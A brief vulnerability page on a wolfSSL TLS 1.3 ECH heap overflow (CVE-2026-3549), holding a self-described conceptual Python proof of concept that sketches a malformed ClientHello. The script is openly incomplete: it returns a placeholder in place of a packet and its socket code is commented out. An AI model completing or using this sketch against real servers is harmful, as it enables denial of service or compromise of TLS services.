CVE-2026-3549 wolfSSL TLS 1.3 ECH堆溢出漏洞

import socket import struct # Conceptual PoC for CVE-2026-3549 # This script sends a malformed TLS ClientHello with a crafted ECH extension # to trigger the integer underflow and heap overflow in vulnerable wolfSSL versions. def create_malformed_tls_handshake(): # TLS Record Layer Header (Handshake) content_type = b'\x16' version = b'\x03\x01' # Handshake Message: ClientHello msg_type = b'\x01' # Simplified ClientHello structure # ... # Malformed ECH Extension (Type 0xfe0d) ech_ext_type = struct.pack('>H', 0xfe0d) # Payload designed to trigger integer underflow in length calculation # Specific bytes depend on the exact parsing logic vulnerable in wolfSSL # e.g., a very small length field causing subtraction to underflow malformed_payload = b'\x00' * 10 ech_ext_data = struct.pack('>H', len(malformed_payload)) + malformed_payload extensions = ech_ext_type + ech_ext_data # Assemble full packet (skipping precise length calculations for brevity) # In a real exploit, the length fields must match the payload perfectly return b"PLACEHOLDER_FOR_MALFORMED_PACKET" # Example usage (Do not run against unauthorized systems) # target_ip = "127.0.0.1" # target_port = 443 # s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # s.connect((target_ip, target_port)) # s.send(create_malformed_tls_handshake())